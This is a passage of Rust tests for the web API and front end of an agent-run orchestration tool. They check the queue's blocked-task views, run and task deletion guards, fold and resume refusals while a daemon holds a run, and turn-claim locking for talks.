12959 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
12960 let home = TempDir::new().unwrap();
12961 let ui = delta_test_ui(home.path());
12962 let queue = ui.queue.clone();
12963 let query = |ids: Option<&str>| {
12964 Query(ListQuery {
12965 limit: Some(2),
12966 ids: ids.map(str::to_owned),
12967 })
12968 };
12969 let mut root = Task::new(
12970 "root".into(),
12971 "instruction".into(),
12972 PathBuf::from("/repo"),
12973 Source::Human,
12974 );
12975 queue.put(&mut root).unwrap();
12976 let mut blocked = Task::new(
12977 "blocked".into(),
12978 "instruction".into(),
12979 PathBuf::from("/repo"),
12980 Source::Human,
12981 );
12982 blocked.block(vec![root.id.clone()], None);
12983 queue.put(&mut blocked).unwrap();
12984 let whole =
12985 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
12986 .unwrap();
12987 let subset = serde_json::to_value(
12988 queue_list(State(ui.clone()), query(Some(&root.id)))
12989 .await
12990 .unwrap()
12991 .0,
12992 )
12993 .unwrap();
12994 assert_eq!(whole, subset, "requested root plus its blocked dependent");
12995 let blockers = serde_json::to_value(
12996 queue_list(State(ui.clone()), query(Some("")))
12997 .await
12998 .unwrap()
12999 .0,
13000 )
13001 .unwrap();
13002 assert_eq!(blockers.as_array().unwrap().len(), 1);
13003 assert_eq!(blockers[0]["id"], blocked.id);
13004 assert_eq!(
13005 blockers[0]["waits_on"],
13006 whole
13007 .as_array()
13008 .unwrap()
13009 .iter()
13010 .find(|row| row["id"] == blocked.id)
13011 .unwrap()["waits_on"]
13012 );
13013
13014 for id in [
13015 "20260902-140501-aaaa",
13016 "20260902-140502-bbbb",
13017 "20260902-140503-cccc",
13018 ] {
13019 write_run(&ui.runs, id, RunStatus::Merged);
13020 }
13021 let old = serde_json::to_value(
13022 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
13023 .await
13024 .unwrap()
13025 .0,
13026 )
13027 .unwrap();
13028 assert!(
13029 old.as_array().unwrap().is_empty(),
13030 "older updates must not enter the window"
13031 );
13032 let newest = serde_json::to_value(
13033 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
13034 .await
13035 .unwrap()
13036 .0,
13037 )
13038 .unwrap();
13039 assert_eq!(newest.as_array().unwrap().len(), 1);
13040 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
13041
13042 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
13043 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
13044 let talks = serde_json::to_value(
13045 talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
13046 .await
13047 .unwrap()
13048 .0,
13049 )
13050 .unwrap();
13051 assert_eq!(talks.as_array().unwrap().len(), 1);
13052 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
13053 assert_eq!(
13054 serde_json::to_value(
13055 talks_list(State(ui.clone()), query(Some("")))
13056 .await
13057 .unwrap()
13058 .0
13059 )
13060 .unwrap(),
13061 serde_json::json!([])
13062 );
13063 }
13064
13065 #[tokio::test]
13066 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
13067 async fn delta_payload_benchmark() {
13068 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
13069 let ui = delta_test_ui(&home);
13070 let query = |ids: Option<String>| {
13071 Query(ListQuery {
13072 limit: Some(50),
13073 ids,
13074 })
13075 };
13076 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
13077 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
13078 let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
13079 let queue_id = queue
13080 .iter()
13081 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
13082 .unwrap_or(&queue[0])
13083 .task
13084 .id
13085 .clone();
13086 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
13087 .await
13088 .unwrap()
13089 .0;
13090 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
13091 .await
13092 .unwrap()
13093 .0;
13094 let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
13095 .await
13096 .unwrap()
13097 .0;
13098 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
13099 eprintln!(
13100 "DELTA_PAYLOAD {}",
13101 serde_json::json!({
13102 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
13103 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
13104 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
13105 "counts": [queue.len(), runs.len(), talks.len()],
13106 "blocked": queue_delta.len() - 1,
13107 })
13108 );
13109 }
13110
13111 #[test]
13112 fn runs_revision_moves_when_deleting_an_older_run() {
13113 let temp = TempDir::new().expect("tempdir");
13114 let runs = temp.path().join("runs");
13115 std::fs::create_dir_all(&runs).expect("create runs dir");
13116
13117 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
13118
13119 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
13120 std::thread::sleep(Duration::from_millis(10));
13121 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
13122
13123 let rev_before = runs_revision(&runs);
13124 assert!(rev_before > 0);
13125
13126 let old_dir = runs.join("20260901-100000-old1");
13127 std::fs::remove_dir_all(&old_dir).expect("remove old run");
13128
13129 let rev_after = runs_revision(&runs);
13130 assert_ne!(
13131 rev_before, rev_after,
13132 "deleting an older run must change the revision so other clients see the deletion"
13133 );
13134 }
13135
13136 fn write_state(runs: &FsPath, state: &RunState) {
13141 let dir = runs.join(&state.id);
13142 std::fs::create_dir_all(&dir).expect("run dir");
13143 std::fs::write(
13144 dir.join("run.json"),
13145 serde_json::to_string_pretty(state).expect("serialize run"),
13146 )
13147 .expect("write run.json");
13148 }
13149
13150 #[test]
13155 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
13156 let temp = TempDir::new().expect("tempdir");
13157 let runs = temp.path().join("runs");
13158 std::fs::create_dir_all(&runs).expect("create runs dir");
13159 let mut state = RunState::new(
13160 PathBuf::from("/repo/magi"),
13161 "main".to_owned(),
13162 "0123456789abcdef".to_owned(),
13163 "task".to_owned(),
13164 Config::default(),
13165 );
13166 state.id = "20260902-100000-c0de".to_owned();
13167 write_state(&runs, &state);
13168
13169 let rev_idle = runs_revision(&runs);
13170 std::thread::sleep(Duration::from_millis(10));
13171 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
13172 write_state(&runs, &state);
13173 let rev_started = runs_revision(&runs);
13174 assert_ne!(
13175 rev_idle, rev_started,
13176 "a seat starting must move the revision"
13177 );
13178
13179 std::thread::sleep(Duration::from_millis(10));
13180 state.seat_finished("judge-1");
13181 write_state(&runs, &state);
13182 let rev_finished = runs_revision(&runs);
13183 assert_ne!(
13184 rev_started, rev_finished,
13185 "and clearing it again must move the revision a second time"
13186 );
13187 }
13188
13189 #[tokio::test]
13190 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
13191 let fx = Fixture::start().await;
13196 let q = fx.queue();
13197
13198 let mut t = Task::new(
13199 "Task".to_owned(),
13200 "Instruction".to_owned(),
13201 PathBuf::from("/repo"),
13202 Source::Human,
13203 );
13204 t.block(
13205 vec!["20260101-000000-dead".to_owned()],
13206 Some("waiting on Task 1".to_owned()),
13207 );
13208 t.answers.push(crate::queue::AnsweredQuestion {
13209 question: "Which backend?".to_owned(),
13210 answer: "SQLite".to_owned(),
13211 });
13212 q.put(&mut t).expect("put t");
13213
13214 let res = fx.get("/api/queue").await;
13215 assert_eq!(res.status, 200);
13216 let list = res.json();
13217 let view = list
13218 .as_array()
13219 .expect("array")
13220 .iter()
13221 .find(|v| v["id"] == t.id)
13222 .expect("task in list");
13223 assert_eq!(view["status_str"], "blocked");
13224 assert_eq!(
13225 view["blocked_by"],
13226 serde_json::json!(["20260101-000000-dead"])
13227 );
13228 assert_eq!(view["block_reason"], "waiting on Task 1");
13229 assert_eq!(view["answers"][0]["question"], "Which backend?");
13230 assert_eq!(view["answers"][0]["answer"], "SQLite");
13231
13232 let res = fx
13236 .post(&format!("/api/queue/{}/hold", t.short()), None)
13237 .await;
13238 assert_eq!(res.status, 200);
13239 let held = res.json();
13240 assert_eq!(held["status_str"], "held");
13241 assert_eq!(held["blocked_by"], serde_json::json!([]));
13242 assert!(held["block_reason"].is_null());
13243 assert_eq!(held["answers"][0]["answer"], "SQLite");
13244 }
13245
13246 #[tokio::test]
13247 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
13248 let fx = Fixture::start().await;
13249 let q = fx.queue();
13250 let mk = |title: &str| {
13251 Task::new(
13252 title.to_owned(),
13253 "Instruction".to_owned(),
13254 PathBuf::from("/repo"),
13255 Source::Human,
13256 )
13257 };
13258 let mut root = mk("root");
13259 root.hold_manual(Some("waiting".to_owned()));
13260 q.put(&mut root).unwrap();
13261 let mut mid = mk("mid");
13262 mid.block(vec![root.id.clone()], None);
13263 q.put(&mut mid).unwrap();
13264 let mut leaf = mk("leaf");
13265 leaf.block(vec![mid.id.clone()], None);
13266 q.put(&mut leaf).unwrap();
13267
13268 let list = fx.get("/api/queue").await.json();
13269 let find = |id: &str| {
13270 list.as_array()
13271 .unwrap()
13272 .iter()
13273 .find(|v| v["id"] == id)
13274 .unwrap()
13275 .clone()
13276 };
13277 let leaf_view = find(&leaf.id);
13278 assert_eq!(
13279 leaf_view["waits_on"],
13280 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
13281 );
13282 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
13283 assert_eq!(
13284 find(&mid.id)["waits_on"],
13285 serde_json::json!([format!("{} (held)", root.short())])
13286 );
13287 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
13288 }
13289
13290 #[tokio::test]
13291 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
13292 let fx = Fixture::start().await;
13293 let q = fx.queue();
13294
13295 let mut t1 = Task::new(
13297 "Task 1".to_owned(),
13298 "Instruction 1".to_owned(),
13299 PathBuf::from("/repo"),
13300 Source::Human,
13301 );
13302 let run_id = "20260901-000000-r111";
13303 t1.runs.push(run_id.to_owned());
13304 write_run(&fx.runs(), run_id, RunStatus::Merged);
13305 q.put(&mut t1).expect("put t1");
13306
13307 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
13309 assert_eq!(res.status, 204);
13310 assert!(res.body.is_empty(), "204 No Content has no body");
13311 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
13312 assert!(
13313 fx.runs().join(run_id).exists(),
13314 "run directory must not be deleted when its task is deleted"
13315 );
13316
13317 let mut t2 = Task::new(
13319 "Task 2".to_owned(),
13320 "Instruction 2".to_owned(),
13321 PathBuf::from("/repo"),
13322 Source::Human,
13323 );
13324 t2.status = TaskStatus::Running;
13325 q.put(&mut t2).expect("put t2");
13326 let mut beat = crate::daemon::Status::new();
13327 beat.current = vec![crate::daemon::Current {
13328 task: t2.id.clone(),
13329 run: "20260901-000000-r222".to_owned(),
13330 }];
13331 beat.updated_at = jiff::Timestamp::now();
13332 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13333 .expect("publish a heartbeat");
13334 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
13335 assert_eq!(res.status, 409);
13336 assert!(
13337 res.json()["error"]
13338 .as_str()
13339 .unwrap()
13340 .contains("live daemon")
13341 );
13342 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
13343
13344 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
13350 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13351 .expect("leave a stale heartbeat");
13352 let mut t3 = Task::new(
13353 "Task 3".to_owned(),
13354 "Instruction 3".to_owned(),
13355 PathBuf::from("/repo"),
13356 Source::Human,
13357 );
13358 t3.status = TaskStatus::Running;
13359 q.put(&mut t3).expect("put t3");
13360 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
13361 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
13362 assert_eq!(res.status, 204);
13363 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
13364 assert!(
13365 q.claim(&t3.id).is_ok(),
13366 "the stale lock went with it, so the id is claimable again"
13367 );
13368
13369 let res = fx.delete("/api/queue/nonexistent").await;
13371 assert_eq!(res.status, 404);
13372 }
13373
13374 #[tokio::test]
13375 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
13376 let fx = Fixture::start().await;
13377 let runs = fx.runs();
13378
13379 let run_id = "20260901-000000-fold";
13381 let mut state = RunState::new(
13382 PathBuf::from("/repo"),
13383 "main".to_owned(),
13384 "abc".to_owned(),
13385 "instruction".to_owned(),
13386 Config::default(),
13387 );
13388 state.id = run_id.to_owned();
13389 state.status = RunStatus::Merged;
13390 state.candidates.push(crate::run::Candidate {
13391 index: 0,
13392 label: 'A',
13393 agent: "a".to_owned(),
13394 branch: "b".to_owned(),
13395 worktree: PathBuf::from("/w"),
13396 summary: String::new(),
13397 stat: String::new(),
13398 files: 1,
13399 commits: 1,
13400 empty: false,
13401 failed: None,
13402 verified_noop: None,
13403 duration_ms: 0,
13404 folded: true,
13405 });
13406 let dir = runs.join(run_id);
13407 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
13408 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
13409 .expect("write artifact");
13410 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
13411 .expect("write run.json");
13412
13413 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
13415 assert_eq!(res.status, 204);
13416 assert!(res.body.is_empty(), "204 has no body");
13417 assert!(!dir.exists(), "run directory and artifacts must be deleted");
13418
13419 let run_running = "20260901-000000-rung";
13424 write_run(&runs, run_running, RunStatus::Prep);
13425 let mut beat = crate::daemon::Status::new();
13426 beat.current = vec![crate::daemon::Current {
13427 task: "20260901-000000-task".to_owned(),
13428 run: run_running.to_owned(),
13429 }];
13430 beat.updated_at = jiff::Timestamp::now();
13431 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13432 .expect("publish a heartbeat");
13433 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
13434 assert_eq!(res.status, 409);
13435 assert!(
13436 res.json()["error"]
13437 .as_str()
13438 .unwrap()
13439 .contains("live daemon"),
13440 "the refusal must say who is holding it"
13441 );
13442 assert!(
13443 runs.join(run_running).exists(),
13444 "a run in flight keeps its directory"
13445 );
13446
13447 let run_unfolded = "20260901-000000-unfd";
13449 let mut state2 = RunState::new(
13450 PathBuf::from("/repo"),
13451 "main".to_owned(),
13452 "abc".to_owned(),
13453 "instruction".to_owned(),
13454 Config::default(),
13455 );
13456 state2.id = run_unfolded.to_owned();
13457 state2.status = RunStatus::Ready;
13458 state2.candidates.push(crate::run::Candidate {
13459 index: 0,
13460 label: 'A',
13461 agent: "a".to_owned(),
13462 branch: "b".to_owned(),
13463 worktree: PathBuf::from("/w"),
13464 summary: String::new(),
13465 stat: String::new(),
13466 files: 1,
13467 commits: 1,
13468 empty: false,
13469 failed: None,
13470 verified_noop: None,
13471 duration_ms: 0,
13472 folded: false,
13473 });
13474 let dir2 = runs.join(run_unfolded);
13475 std::fs::create_dir_all(&dir2).expect("create dir2");
13476 std::fs::write(
13477 dir2.join("run.json"),
13478 serde_json::to_string(&state2).unwrap(),
13479 )
13480 .expect("write run.json");
13481
13482 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
13483 assert_eq!(res.status, 409);
13484 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
13485 assert!(dir2.exists(), "unfolded run directory is kept");
13486
13487 let res = fx.delete("/api/runs/nonexistent").await;
13489 assert_eq!(res.status, 404);
13490 }
13491
13492 #[test]
13501 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
13502 let start = APP_JS
13503 .find("function renderStats() {")
13504 .expect("renderStats");
13505 let end = start
13506 + APP_JS[start..]
13507 .find("function statsTile(")
13508 .expect("the next top-level function");
13509 let body = &APP_JS[start..end];
13510
13511 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
13512 let gate_end = gate_start
13513 + body[gate_start..]
13514 .find("}\n renderStatsQueue")
13515 .expect("the gate's own closing brace, right before the unconditional call");
13516 let gated = &body[gate_start..gate_end];
13517
13518 assert_eq!(
13519 body.matches("renderStatsQueue(").count(),
13520 1,
13521 "renderStats must call renderStatsQueue exactly once: {body}"
13522 );
13523 assert!(
13524 !gated.contains("renderStatsQueue"),
13525 "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
13526 run-derived panels on an empty run history - the queue panel has to render \
13527 regardless: {gated}"
13528 );
13529 }
13530
13531 #[test]
13532 fn web_ui_delete_contract_in_front_end() {
13533 assert!(APP_JS.contains("deleteRun:"));
13535 assert!(APP_JS.contains("deleteTask:"));
13536
13537 let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
13539 ..APP_JS.find("function renderRuns").unwrap()];
13540 assert!(!run_cards_slice.to_lowercase().contains("delete"));
13541
13542 assert!(APP_JS.contains("renderRunDelete"));
13544 assert!(APP_JS.contains("runDeleteReason"));
13545 assert!(APP_JS.contains("magi fold"));
13546 assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
13547
13548 assert!(APP_JS.contains("cancel.focus"));
13550 assert!(APP_JS.contains("armedRunDelete"));
13551 assert!(APP_JS.contains("renderTaskDeleteBox"));
13552 assert!(APP_JS.contains("armed${cap(key)}"));
13553
13554 assert!(APP_JS.contains("disabled: status === \"running\""));
13556 }
13557
13558 #[test]
13578 fn every_ref_a_run_card_uses_is_one_its_builder_published() {
13579 let build = APP_JS
13580 .find("function createRunCard")
13581 .expect("createRunCard exists");
13582 let update = APP_JS
13583 .find("function updateRunCard")
13584 .expect("updateRunCard exists");
13585 let end = APP_JS
13586 .find("function renderRuns")
13587 .expect("renderRuns exists");
13588
13589 let builder = &APP_JS[build..update];
13591 let open = builder.find("refs = {").expect("createRunCard sets refs");
13592 let literal = &builder[open + "refs = {".len()..];
13593 let close = literal.find('}').expect("the refs literal is closed");
13594 let published: HashSet<&str> = literal[..close]
13595 .split(',')
13596 .filter_map(|entry| entry.split(':').next())
13598 .map(str::trim)
13599 .filter(|name| !name.is_empty())
13600 .collect();
13601 assert!(
13602 published.len() > 5,
13603 "the refs literal did not parse into names: {published:?}"
13604 );
13605
13606 let mut used: Vec<&str> = Vec::new();
13609 let updaters = &APP_JS[update..end];
13610 for (at, _) in updaters.match_indices("r.") {
13611 let before = updaters[..at].chars().next_back();
13614 if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
13615 continue;
13616 }
13617 let rest = &updaters[at + 2..];
13618 let len = rest
13619 .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
13620 .unwrap_or(rest.len());
13621 if len > 0 {
13622 used.push(&rest[..len]);
13623 }
13624 }
13625 assert!(
13626 used.len() > 5,
13627 "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
13628 );
13629
13630 let missing: Vec<&str> = used
13631 .iter()
13632 .copied()
13633 .filter(|name| !published.contains(name))
13634 .collect();
13635 assert!(
13636 missing.is_empty(),
13637 "a run card's updater reaches for {missing:?}, which `createRunCard` \
13638 never put in `refs` - every card will throw and the list will \
13639 render empty under a count line that says otherwise. Published: \
13640 {published:?}"
13641 );
13642 }
13643
13644 #[tokio::test]
13645 async fn folding_from_the_phone_reports_what_it_removed() {
13646 let fx = Fixture::start().await;
13647 let runs = fx.runs();
13648
13649 let id = "20260901-000000-fold";
13653 write_run(&runs, id, RunStatus::Stalled);
13654 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13655 assert_eq!(res.status, 200);
13656 assert_eq!(res.json()["removed_count"], 0);
13657 assert_eq!(res.json()["run"], id);
13658 assert!(
13659 runs.join(id).exists(),
13660 "a fold keeps the run's record; only the worktrees go"
13661 );
13662 }
13663
13664 #[tokio::test]
13665 async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
13666 let fx = Fixture::start().await;
13667 let runs = fx.runs();
13668 let wt = fx.home.path().join("wt").join("magi").join("dead");
13669 let id = "20260901-000000-dead";
13670 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13671 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13672 std::fs::create_dir_all(&wt).expect("worktree dir");
13673
13674 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13675 assert_eq!(res.status, 200, "{}", res.body);
13676 assert!(
13677 res.json()["removed_count"].as_u64().unwrap() > 0,
13678 "the worktree this build could not read a state for still went"
13679 );
13680 assert!(
13681 !runs.join(id).exists(),
13682 "an unreadable run has no candidate list to fold selectively, so \
13683 the whole record goes - same as `magi fold` on the CLI"
13684 );
13685 }
13686
13687 #[tokio::test]
13688 async fn deleting_an_unreadable_run_removes_it_wholesale() {
13689 let fx = Fixture::start().await;
13690 let runs = fx.runs();
13691 let wt = fx.home.path().join("wt").join("magi").join("gone");
13692 let id = "20260901-000000-gone";
13693 std::fs::create_dir_all(runs.join(id)).expect("run dir");
13694 std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
13695 std::fs::create_dir_all(&wt).expect("worktree dir");
13696
13697 let res = fx.delete(&format!("/api/runs/{id}")).await;
13698 assert_eq!(res.status, 204, "{}", res.body);
13699 assert!(!runs.join(id).exists(), "the broken record is gone");
13700 assert!(!wt.exists(), "its worktree is gone too");
13701 }
13702
13703 #[tokio::test]
13704 async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
13705 let fx = Fixture::start().await;
13706 let runs = fx.runs();
13707 let id = "20260901-000000-live";
13708 write_run(&runs, id, RunStatus::Implementing);
13709
13710 let mut beat = crate::daemon::Status::new();
13711 beat.current = vec![crate::daemon::Current {
13712 task: "20260901-000000-task".to_owned(),
13713 run: id.to_owned(),
13714 }];
13715 beat.updated_at = jiff::Timestamp::now();
13716 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13717 .expect("publish a heartbeat");
13718
13719 let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
13720 assert_eq!(res.status, 409);
13721 assert!(
13722 res.json()["error"]
13723 .as_str()
13724 .unwrap()
13725 .contains("live daemon"),
13726 "folding under a running agent would pull its worktree away"
13727 );
13728 }
13729
13730 #[tokio::test]
13731 async fn fold_merged_requires_a_pr_url() {
13732 let fx = Fixture::start().await;
13733 let runs = fx.runs();
13734 let id = "20260901-000000-nourl";
13735 write_run(&runs, id, RunStatus::Blocked);
13736
13737 let res = fx
13738 .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
13739 .await;
13740 assert_eq!(res.status, 400, "{}", res.body);
13741
13742 let blank = fx
13743 .post(
13744 &format!("/api/runs/{id}/fold-merged"),
13745 Some(r#"{"pr_url":" "}"#),
13746 )
13747 .await;
13748 assert_eq!(blank.status, 400, "{}", blank.body);
13749 }
13750
13751 #[tokio::test]
13752 async fn fold_merged_is_404_for_an_unknown_run() {
13753 let fx = Fixture::start().await;
13754 let res = fx
13755 .post(
13756 "/api/runs/nosuchrun/fold-merged",
13757 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13758 )
13759 .await;
13760 assert_eq!(res.status, 404, "{}", res.body);
13761 }
13762
13763 #[tokio::test]
13764 async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
13765 let fx = Fixture::start().await;
13766 let runs = fx.runs();
13767 let id = "20260901-000000-livemerge";
13768 write_run(&runs, id, RunStatus::Blocked);
13769
13770 let mut beat = crate::daemon::Status::new();
13771 beat.current = vec![crate::daemon::Current {
13772 task: "20260901-000000-task".to_owned(),
13773 run: id.to_owned(),
13774 }];
13775 beat.updated_at = jiff::Timestamp::now();
13776 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13777 .expect("publish a heartbeat");
13778
13779 let res = fx
13780 .post(
13781 &format!("/api/runs/{id}/fold-merged"),
13782 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13783 )
13784 .await;
13785 assert_eq!(res.status, 409, "{}", res.body);
13786 assert!(
13787 res.json()["error"]
13788 .as_str()
13789 .unwrap()
13790 .contains("live daemon"),
13791 "correcting a run's merge underneath a running agent would race \
13792 whatever it is doing to the same `status`/`merge` fields"
13793 );
13794 }
13795
13796 #[tokio::test]
13801 async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
13802 let fx = Fixture::start().await;
13803 let runs = fx.runs();
13804 let id = "20260901-000000-unconfirmed";
13805 write_run(&runs, id, RunStatus::Blocked);
13806
13807 let res = fx
13808 .post(
13809 &format!("/api/runs/{id}/fold-merged"),
13810 Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
13811 )
13812 .await;
13813 assert_eq!(res.status, 400, "{}", res.body);
13814 assert_eq!(
13815 read_run(&runs, id).unwrap().status,
13816 RunStatus::Blocked,
13817 "a pull request that could not be confirmed merged must leave \
13818 the run exactly where it was"
13819 );
13820 }
13821
13822 #[tokio::test]
13823 async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
13824 let fx = Fixture::start().await;
13825 let runs = fx.runs();
13826
13827 for (status, word) in [
13833 (RunStatus::Merged, "merged"),
13834 (RunStatus::Ready, "ready"),
13835 (RunStatus::Failed, "failed"),
13836 ] {
13837 let id = format!("20260901-000000-{}", &word[..4]);
13838 write_run(&runs, &id, status);
13839 let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
13840 assert_eq!(res.status, 409, "{word} must not be resumable");
13841 let err = res.json()["error"].as_str().unwrap().to_owned();
13842 assert!(err.contains(word), "the refusal names the status: {err}");
13843 }
13844
13845 let mid = "20260901-000000-midf";
13850 write_run(&runs, mid, RunStatus::Reviewing);
13851 let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
13852 assert_eq!(res.status, 202, "an interrupted run is resumable");
13853 }
13854
13855 #[tokio::test]
13856 async fn resume_is_refused_while_the_loop_is_running() {
13857 let fx = Fixture::start().await;
13858 let runs = fx.runs();
13859 let stalled = "20260901-000000-stal";
13860 write_run(&runs, stalled, RunStatus::Stalled);
13861
13862 let mut beat = crate::daemon::Status::new();
13866 beat.current = vec![crate::daemon::Current {
13867 task: "20260901-000000-task".to_owned(),
13868 run: "20260901-000000-othr".to_owned(),
13869 }];
13870 beat.updated_at = jiff::Timestamp::now();
13871 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
13872 .expect("publish a heartbeat");
13873
13874 let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
13875 assert_eq!(res.status, 409);
13876 let err = res.json()["error"].as_str().unwrap().to_owned();
13877 assert!(err.contains("othr"), "it names what the loop is on: {err}");
13878 assert!(err.contains("stop it first"), "{err}");
13879 }
13880
13881 #[test]
13882 fn a_run_cannot_be_resumed_twice_at_once() {
13883 let home = TempDir::new().expect("temp home");
13884 let ui = Ui::new(
13885 Queue::at(home.path().join("queue")),
13886 Questions::at(home.path().join("questions")),
13887 Talks::at(home.path().join("talks")),
13888 home.path().join("runs"),
13889 home.path().to_path_buf(),
13890 PathBuf::from("/repo"),
13891 )
13892 .with_worktrees_root(home.path().join("wt"));
13893 let first = ui.begin_resume("20260901-000000-once").expect("claimed");
13894 let again = ui.begin_resume("20260901-000000-once");
13895 assert!(again.is_err(), "a second tap must not start a second graph");
13896 drop(first);
13897 assert!(
13898 ui.begin_resume("20260901-000000-once").is_ok(),
13899 "and the claim is released when the attempt ends"
13900 );
13901 }
13902
13903 #[test]
13904 fn talk_thinking_tracks_only_its_held_turn_claim() {
13905 let home = TempDir::new().expect("temp home");
13906 let ui = Ui::new(
13907 Queue::at(home.path().join("queue")),
13908 Questions::at(home.path().join("questions")),
13909 Talks::at(home.path().join("talks")),
13910 home.path().join("runs"),
13911 home.path().to_path_buf(),
13912 PathBuf::from("/repo"),
13913 )
13914 .with_worktrees_root(home.path().join("wt"));
13915 let id = "20260901-000000-once";
13916
13917 assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
13918 let turn = ui.begin_talk_turn(id).expect("claim turn");
13919 assert!(ui.is_thinking(id), "the held guard is reported as thinking");
13920 assert!(
13921 !ui.is_thinking("20260901-000000-other"),
13922 "one talk's turn does not make another talk busy"
13923 );
13924 drop(turn);
13925 assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
13926 }
13927
13928 #[test]
13929 fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
13930 let home = TempDir::new().expect("temp home");
13931 let talks = Talks::at(home.path().join("talks"));
13932 let ui = Ui::new(
13933 Queue::at(home.path().join("queue")),
13934 Questions::at(home.path().join("questions")),
13935 talks.clone(),
13936 home.path().join("runs"),
13937 home.path().to_path_buf(),
13938 PathBuf::from("/repo"),
13939 )
13940 .with_worktrees_root(home.path().join("wt"));
13941 let id = "20260901-000000-cross";
13942
13943 let other = Talks::at(home.path().join("talks"))
13944 .claim_turn(id)
13945 .expect("claim")
13946 .expect("the other process wins");
13947 assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
13948 assert!(ui.begin_talk_turn(id).expect("claim").is_none());
13949 assert!(
13950 matches!(
13951 ui.begin_talk_turn_unless_pending(id).expect("start"),
13952 TalkTurnStart::Foreign
13953 ),
13954 "a foreign holder is refused, not queued behind"
13955 );
13956 assert!(
13957 !ui.talk_turns.lock().unwrap().live.contains(id),
13958 "a refused claim leaves no in-process entry behind"
13959 );
13960 drop(other);
